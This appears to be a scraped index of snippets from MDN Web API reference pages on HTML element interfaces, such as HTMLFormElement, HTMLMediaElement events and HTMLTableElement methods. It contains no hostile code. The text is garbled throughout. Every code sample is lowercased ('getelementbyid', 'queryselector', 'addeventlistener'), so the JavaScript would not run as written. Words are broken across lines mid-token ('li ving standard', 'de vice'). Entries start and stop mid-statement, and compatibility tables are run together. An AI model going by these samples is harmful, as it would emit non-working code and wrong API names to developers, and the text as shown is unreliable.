ving standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
HTMLAnchorElement.relList - Web APIs
ument.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html li
ving standardthe definition of 'rellist' in that specification.
... li
ving standard initial definition.
HTMLAreaElement.referrerPolicy - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 51edge full support 79firefox full support 50ie no support noopera full support ...
... 38safari full support 11.1web
view android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosamsung internet android full support 7.2legend full support full support no support no support ...
HTMLAreaElement.rel - Web APIs
syntax var relstr = areaelt.rel; areaelt.rel = relstr; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { alert("rel: " + areas[i].rel); } specifications specification status comment html li
ving standardthe definition of 'rel' in that specification.
... li
ving standard initial definition ...
HTMLAreaElement.relList - Web APIs
str = areaelt.rellist; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { var list = areas[i].rellist; var listlength = list.length; console.log("new area found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html li
ving standardthe definition of 'rellist' in that specification.
... li
ving standard initial definition.
Audio() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'audio()' in that specification.
... li
ving standard ...
HTMLButtonElement.labels - Web APIs
">button</button> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html li
ving standardthe definition of 'labels' in that specification.
... li
ving standard initial definition ...
HTMLCanvasElement.transferControlToOffscreen() - Web APIs
// push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html li
ving standardthe definition of 'htmlcanvaselement.transfercontroltooffscreen()' in that specification.
... li
ving standard ...
HTMLDataElement.value - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmldataelement.value' in that specification.
... li
ving standard html5the definition of 'value' in that specification.
HTMLDetailsElement: toggle event - Web APIs
#summaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status comment html li
ving standardthe definition of 'toggle event' in that specification.
... li
ving standard ...
HTMLDialogElement: cancel event - Web APIs
peof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html li
ving standardthe definition of 'cancel' in that specification.
... li
ving standard ...
HTMLDialogElement: close event - Web APIs
(typeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html li
ving standardthe definition of 'close' in that specification.
... li
ving standard ...
HTMLElement: change event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('change', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html li
ving standardthe definition of 'change' in that specification.
... li
ving standard ...
HTMLElement.contentEditable - Web APIs
syntax editable = element.contenteditable element.contenteditable = 'true' specifications specification status comment html li
ving standardthe definition of 'contenteditable' in that specification.
... li
ving standard initial definition ...
HTMLElement: input event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('input', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html li
ving standardthe definition of 'input event' in that specification.
... li
ving standard document object model (dom) level 3 events specificationthe definition of 'input event' in that specification.
HTMLElement: pointerleave event - Web APIs
the pointerleave event is fired when a pointing de
vice is moved out of the hit test boundaries of an element.
... for pen de
vices, this event is fired when the stylus leaves the hover range detectable by the digitizer.
HTMLElement.title - Web APIs
syntax var str = element.title; element.title = str; example const link = document.createelement('a'); link.innertext = 'grapes'; link.href = 'https://en.wikipedia.org/wiki/grape'; link.title = 'wikipedia page on grapes'; specifications specification status comment html li
ving standardthe definition of 'title' in that specification.
... li
ving standard no change from document object model (dom) level 2 html specification.
HTMLFormElement.acceptCharset - Web APIs
syntax var string = form.acceptcharset; form.acceptcharset = string; example inputs = document.forms['myform'].acceptcharset; specifications specification status comment html li
ving standardthe definition of 'htmlformelement: acceptcharset' in that specification.
... li
ving standard ...
HTMLFormElement.action - Web APIs
syntax var string = form.action; form.action = string; example form.action = '/cgi-bin/publish'; specifications specification status comment html li
ving standardthe definition of 'htmlformelement: action' in that specification.
... li
ving standard ...
HTMLFormElement.elements - Web APIs
pe === "text") { // update text input inputs[i].value.tolocaleuppercase(); } } disabling form controls var inputs = document.getelementbyid("my-form").elements; // iterate over the form controls for (i = 0; i < inputs.length; i++) { // disable all form controls inputs[i].setattribute("disabled", ""); } specifications specification status comment html li
ving standardthe definition of 'htmlformelement.elements' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'htmlformelement.elements' in that specification.
HTMLFormElement.enctype - Web APIs
syntax var string = form.enctype; form.enctype = string; example form.enctype = 'application/x-www-form-urlencoded'; specifications specification status comment html li
ving standardthe definition of 'htmlformelement: enctype' in that specification.
... li
ving standard ...
HTMLFormElement: formdata event - Web APIs
ault e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data
via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data
via xhr var request...
... = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html li
ving standardthe definition of 'formdata' in that specification.
HTMLFormElement.length - Web APIs
example if (document.getelementbyid('form1').length > 1) { // more than one form control here } specifications specification status comment html li
ving standardthe definition of 'htmlformelement: length' in that specification.
... li
ving standard ...
HTMLFormElement.method - Web APIs
syntax var string = form.method; form.method = string; example document.forms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html li
ving standardthe definition of 'htmlformelement: method' in that specification.
... li
ving standard ...
HTMLFormElement.name - Web APIs
syntax var string = form.name; form.name = string; example var form1name = document.getelementbyid('form1').name; if (form1name != document.form.form1) { // browser doesn't support this form of reference } specifications specification status comment html li
ving standardthe definition of 'htmlformelement: name' in that specification.
... li
ving standard ...
HTMLFormElement.reportValidity() - Web APIs
syntax htmlformelement.reportvalidity() return value boolean example document.forms['myform'].addeventlistener('submit', function() { document.forms['myform'].reportvalidity(); }, false); specifications specification status comment html li
ving standardthe definition of 'htmlformelement.reportvalidity()' in that specification.
... li
ving standard html 5.1the definition of 'htmlformelement.reportvalidity()' in that specification.
HTMLFormElement.reset() - Web APIs
syntax htmlformelement.reset() example document.getelementbyid('myform').reset(); specifications specification status comment html li
ving standardthe definition of 'htmlformelement: reset' in that specification.
... li
ving standard ...
HTMLFormElement.submit() - Web APIs
syntax htmlformelement.submit() example document.forms["myform"].submit(); specifications specification status comment html li
ving standardthe definition of 'htmlformelement: submit' in that specification.
... li
ving standard ...
HTMLFormElement.target - Web APIs
syntax string = htmlformelement.target htmlformelement.target = string example myform.target = document.frames[1].name; specifications specification status comment html li
ving standardthe definition of 'htmlformelement: target' in that specification.
... li
ving standard ...
HTMLHyperlinkElementUtils.hash - Web APIs
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/htmlhyperlinkelementutils.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.hash' in that specification.
... li
ving standard initial definition ...
HTMLHyperlinkElementUtils.host - Web APIs
nchor.href = "https://developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.host' in that specification.
... li
ving standard initial definition ...
HTMLHyperlinkElementUtils.hostname - Web APIs
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils.href - Web APIs
ref; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.href' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils.origin - Web APIs
syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.origin' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils.password - Web APIs
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.password' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils.pathname - Web APIs
bject.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils.port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.port' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils.protocol - Web APIs
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils.username - Web APIs
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.username' in that specification.
... li
ving standard initial definition.
HTMLHyperlinkElementUtils - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils' in that specification.
... li
ving standard initial definition ...
contentDocument - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmliframeelement: contentdocument' in that specification.
... li
ving standard ...
srcdoc - Web APIs
examples var iframe = document.createelement("iframe"); iframe.srcdoc = `<!doctype html><p>hello world!</p>`; document.body.appendchild(iframe); specifications specification status comment html li
ving standardthe definition of 'htmliframeelement: srcdoc' in that specification.
... li
ving standard ...
Image() - Web APIs
examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html li
ving standardthe definition of 'image()' in that specification.
... li
ving standard ...
HTMLImageElement.decode() - Web APIs
}) specifications specification status comment html li
ving standardthe definition of 'decode()' in that specification.
... li
ving standard initial definition.
HTMLImageElement.lowSrc - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowsrcchrome full support 1edge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android ?
HTMLImageElement.referrerPolicy - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 51edge full support 79firefox full support 50ie no support noopera full support ...
... 38safari full support 11.1web
view android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
HTMLInputElement: invalid event - Web APIs
red></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.textcontent += e.target.value } result specifications specification status comment html li
ving standardthe definition of 'invalid event' in that specification.
... li
ving standard html 5.1the definition of 'invalid event' in that specification.
HTMLInputElement.labels - Web APIs
> <input id="test"/> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html li
ving standardthe definition of 'labels' in that specification.
... li
ving standard no change html5the definition of 'labels' in that specification.
HTMLInputElement.select() - Web APIs
re it is not supported, it is possible to replace it with a call to htmlinputelement.setselectionrange() with parameters 0 and the input's value length: <input onclick="this.select();" value="sample text" /> <!-- equivalent to --> <input onclick="this.setselectionrange(0, this.value.length);" value="sample text" /> specifications specification status comment html li
ving standardthe definition of 'select' in that specification.
... li
ving standard ...
HTMLInputElement.setRangeText() - Web APIs
html <input type="text" id="text-box" size="30" value="this text has not been updated."> <button onclick="selecttext()">update text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications specification status comment html li
ving standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
... li
ving standard no change html5the definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLInputElement.setSelectionRange() - Web APIs
html <input type="text" id="text-box" size="20" value="mozilla"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setselectionrange(2, 5); } result specifications specification status comment html li
ving standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
... li
ving standard no change html 5.1the definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLInputElement.webkitEntries - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitentries non-standardchrome full support 13edge full support ≤18firefox full support 50ie no support noopera no ...
...support nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportnon-standard.
HTMLLabelElement.control - Web APIs
specifications specification status comment html li
ving standardthe definition of 'control' in that specification.
... li
ving standard initial definition ...
HTMLLabelElement.form - Web APIs
specifications specification status comment html li
ving standardthe definition of 'form' in that specification.
... li
ving standard initial definition ...
HTMLLabelElement.htmlFor - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlfor' in that specification.
... li
ving standard initial definition ...
HTMLLinkElement.rel - Web APIs
syntax var relstr = linkelt.rel; linkelt.rel = relstr; example var links = document.getelementsbytagname('link'); var length = links.length; for (var i = 0; i < length; i++) { alert(links[i]); } specifications specification status comment html li
ving standardthe definition of 'rel' in that specification.
... li
ving standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
HTMLLinkElement.relList - Web APIs
lstr = linkelt.rellist; example var links = document.getelementsbytagname("link"); var length = links.length; for (var i = 0; i < length; i++) { var list = links[i].rellist; var listlength = list.length; console.log("new link found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html li
ving standardthe definition of 'rellist' in that specification.
... li
ving standard initial definition.
HTMLMediaElement.buffered - Web APIs
example var obj = document.createelement('
video'); console.log(obj.buffered); // timeranges { length: 0 } specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.buffered' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.buffered' in that specification.
HTMLMediaElement.captureStream() - Web APIs
return value a mediastream object which can be used as a source for audio and/or
video data by other media processing code, or as a source for webrtc.
...the stream can then be used for other purposes—like a source for streaming over webrtc, to allow sharing prerecorded
videos with another person during a
video call.
HTMLMediaElement.controlsList - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontrolslistchrome full support 58edge full support ≤79firefox ?
... web
view android full support 58chrome android full support 58firefox android ?
HTMLMediaElement.crossOrigin - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.crossorigin' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.crossorigin' in that specification.
HTMLMediaElement.duration - Web APIs
examples var obj = document.createelement('
video'); console.log(obj.duration); // nan specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.duration' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.duration' in that specification.
HTMLMediaElement.ended - Web APIs
example var obj = document.createelement('
video'); console.log(obj.ended); // false specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.ended' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.ended' in that specification.
HTMLMediaElement: error event - Web APIs
the error event is fired when the resource could not be loaded due to an error (for example, a network connecti
vity problem).
... bubbles no cancelable no interface event event handler property onerror examples const
video = document.queryselector('
video'); const
videosrc = 'https://path/to/
video.webm';
video.addeventlistener('error', () => { console.error(`error loading: ${
videosrc}`); });
video.setattribute('src',
videosrc); specifications specification status html li
ving standard li
ving standard html5 recommendation ...
HTMLMediaElement.pause() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'pause()' in that specification.
... li
ving standard initial definition; li
ving specification.
HTMLMediaElement: ratechange event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('ratechange', (event) => { console.log('the playback rate changed.'); }); using the onratechange event handler property: const
video = document.queryselector('
video');
video.onratechange = (event) => { console.log('the playback rate changed.'); }; specifications specification status html li
ving standardthe...
... li
ving standard html5the definition of 'ratechange media event' in that specification.
HTMLMediaElement: seeking event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('seeking', (event) => { console.log('
video is seeking a new position.'); }); using the onseeking event handler property: const
video = document.queryselector('
video');
video.onseeking = (event) => { console.log('
video is seeking a new position.'); }; specifications specification status html li
ving standard...
... li
ving standard html5the definition of 'seeking media event' in that specification.
HTMLMediaElement.setMediaKeys() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetmediakeyschrome full support yesedge full support 13firefox full support yesie ?
... web
view android ?
HTMLMediaElement: stalled event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('stalled', (event) => { console.log('failed to fetch data, but trying.'); }); using the onstalled event handler property: const
video = document.queryselector('
video');
video.onstalled = (event) => { console.log('failed to fetch data, but trying.'); }; specifications specification status html li
ving standa...
... li
ving standard html5the definition of 'stalled media event' in that specification.
HTMLMediaElement: suspend event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('suspend', (event) => { console.log('data loading has been suspended.'); }); using the onsuspend event handler property: const
video = document.queryselector('
video');
video.onsuspend = (event) => { console.log('data loading has been suspended.'); }; specifications specification status html li
ving standard...
... li
ving standard html5the definition of 'suspend media event' in that specification.
HTMLMediaElement: volumechange event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('volumechange', (event) => { console.log('the volume changed.'); }); using the onvolumechange event handler property: const
video = document.queryselector('
video');
video.onvolumechange = (event) => { console.log('the volume changed.'); }; specifications specification status html li
ving standardthe def...
... li
ving standard html5the definition of 'volumechange media event' in that specification.
HTMLMediaElement: waiting event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('waiting', (event) => { console.log('
video is waiting for more data.'); }); using the onwaiting event handler property: const
video = document.queryselector('
video');
video.onwaiting = (event) => { console.log('
video is waiting for more data.'); }; specifications specification status html li
ving standa...
... li
ving standard html5the definition of 'waiting media event' in that specification.
HTMLMeterElement.labels - Web APIs
alue="70">70</meter> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html li
ving standardthe definition of 'labels' in that specification.
... li
ving standard no change html5the definition of 'labels' in that specification.
HTMLObjectElement.data - Web APIs
specifications specification status comment html li
ving standardthe definition of 'data' in that specification.
... li
ving standard initial definition.
HTMLObjectElement.form - Web APIs
specifications specification status comment html li
ving standardthe definition of 'form' in that specification.
... li
ving standard initial definition.
HTMLObjectElement.height - Web APIs
specifications specification status comment html li
ving standardthe definition of 'height' in that specification.
... li
ving standard initial definition.
HTMLObjectElement.name - Web APIs
specifications specification status comment html li
ving standardthe definition of 'name' in that specification.
... li
ving standard initial definition.
HTMLObjectElement.type - Web APIs
specifications specification status comment html li
ving standardthe definition of 'type' in that specification.
... li
ving standard initial definition.
HTMLObjectElement.useMap - Web APIs
specifications specification status comment html li
ving standardthe definition of 'usemap' in that specification.
... li
ving standard initial definition.
HTMLObjectElement.validity - Web APIs
specifications specification status comment html li
ving standardthe definition of 'validity' in that specification.
... li
ving standard initial definition.
HTMLObjectElement.width - Web APIs
specifications specification status comment html li
ving standardthe definition of 'width' in that specification.
... li
ving standard initial definition.
HTMLElement.blur() - Web APIs
br> <button type="button" onclick="focusinput()">click me to gain focus</button> <button type="button" onclick="blurinput()">click me to lose focus</button> javascript function focusinput() { document.getelementbyid('mytext').focus(); } function blurinput() { document.getelementbyid('mytext').blur(); } result specification specification status comment html li
ving standardthe definition of 'blur' in that specification.
... li
ving standard html 5.1the definition of 'blur' in that specification.
HTMLOutputElement.labels - Web APIs
">output</output> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html li
ving standardthe definition of 'labels' in that specification.
... li
ving standard no change html5the definition of 'labels' in that specification.
HTMLProgressElement.labels - Web APIs
</progress> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html li
ving standardthe definition of 'labels' in that specification.
... li
ving standard no change html5the definition of 'labels' in that specification.
HTMLSelectElement.labels - Web APIs
option> </select> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html li
ving standardthe definition of 'labels' in that specification.
... li
ving standard no change html5the definition of 'labels' in that specification.
HTMLSelectElement.options - Web APIs
option 1</option> <option value="2">option 2</option> </select> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html li
ving standardthe definition of 'options' in that specification.
... li
ving standard no change html5the definition of 'options' in that specification.
HTMLSelectElement.selectedOptions - Web APIs
result the resulting content looks like this in action: specifications specification status comment html li
ving standardthe definition of 'htmlselectelement.selectedoptions' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlselectelement.selectedoptions' in that specification.
HTMLStyleElement.media - Web APIs
nestyle" rel="stylesheet" type="text/css" media="screen, print"> p { color: blue; } </style> </head> <body> <script> alert('linkedstyle: ' + document.getelementbyid('linkedstyle').media); // 'screen' alert('inlinestyle: ' + document.getelementbyid('inlinestyle').media); // 'screen, print' </script> </body> </html> specifications specification status comment html li
ving standardthe definition of 'htmlstyleelement' in that specification.
... li
ving standard html 5.1the definition of 'htmlstyleelement' in that specification.
HTMLTableElement.caption - Web APIs
syntax var string = tableelement.caption; example if (table.caption) { // do something with the caption } specifications specification status comment html li
ving standardthe definition of 'htmltableelement.caption' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmltableelement.caption' in that specification.
HTMLTableElement.createCaption() - Web APIs
html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> </table> javascript let table = document.queryselector('table'); let caption = table.createcaption(); caption.textcontent = 'this caption was created by javascript!'; result specifications specification status comment html li
ving standardthe definition of 'htmltableelement: createcaption' in that specification.
... li
ving standard ...
HTMLTableElement.createTFoot() - Web APIs
syntax htmltablesectionelement = table.createtfoot(); return value htmltablesectionelement example let myfoot = mytable.createtfoot(); // now this should be true: myfoot == mytable.tfoot specifications specification status comment html li
ving standardthe definition of 'htmltableelement: createtfoot' in that specification.
... li
ving standard ...
HTMLTableElement.createTHead() - Web APIs
syntax htmltablesectionelement = table.createthead(); return value htmltablesectionelement example let myhead = mytable.createthead(); // now this should be true: myhead == mytable.thead specifications specification status comment html li
ving standardthe definition of 'htmltableelement: createthead' in that specification.
... li
ving standard ...
HTMLTableElement.deleteCaption() - Web APIs
html <table> <caption>this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </table> javascript let table = document.queryselector('table'); table.deletecaption(); result specifications specification status comment html li
ving standardthe definition of 'htmltableelement: deletecaption' in that specification.
... li
ving standard ...
HTMLTableElement.deleteRow() - Web APIs
l <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>cell 3.3</td></tr> </table> javascript let table = document.queryselector('table'); // delete second row table.deleterow(1); result specifications specification status comment html li
ving standardthe definition of 'htmltableelement: deleterow' in that specification.
... li
ving standard ...
HTMLTableElement.deleteTFoot() - Web APIs
html <table> <thead><th>name</th><th>score</th></thead> <tr><td>bob</td><td>541</td></tr> <tr><td>jim</td><td>225</td></tr> <tfoot><th>average</th><td>383</td></tfoot> </table> javascript let table = document.queryselector('table'); table.deletetfoot(); result specifications specification status comment html li
ving standardthe definition of 'htmltableelement: deletetfoot' in that specification.
... li
ving standard ...
HTMLTableElement.deleteTHead() - Web APIs
html <table> <thead><th>name</th><th>occupation</th></thead> <tr><td>bob</td><td>plumber</td></tr> <tr><td>jim</td><td>roofer</td></tr> </table> javascript let table = document.queryselector('table'); table.deletethead(); result specifications specification status comment html li
ving standardthe definition of 'htmltableelement: deletethead' in that specification.
... li
ving standard ...
HTMLTableElement.insertRow() - Web APIs
table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html li
ving standardthe definition of 'htmltableelement.insertrow()' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'htmltableelement.insertrow()' in that specification.
HTMLTableElement.tBodies - Web APIs
mytable.tbodies.length; specifications specification status comment html li
ving standardthe definition of 'htmltableelement: tbodies' in that specification.
... li
ving standard ...
HTMLTableElement.tFoot - Web APIs
} specifications specification status comment html li
ving standardthe definition of 'htmltableelement.tfoot' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmltableelement.tfoot' in that specification.
HTMLTableElement.tHead - Web APIs
} specifications specification status comment html li
ving standardthe definition of 'htmltableelement.thead' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmltableelement.thead' in that specification.
HTMLTableRowElement.insertCell() - Web APIs
e let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html li
ving standardthe definition of 'htmltablerowelement.insertcell()' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'htmltablerowelement.insertcell()' in that specification.
HTMLTemplateElement.content - Web APIs
syntax var documentfragment = templateelement.content example var templateelement = document.queryselector("#foo"); var documentfragment = templateelement.content.clonenode(true); specifications specification status comment html li
ving standardthe definition of 'htmltemplateelement interface' in that specification.
... li
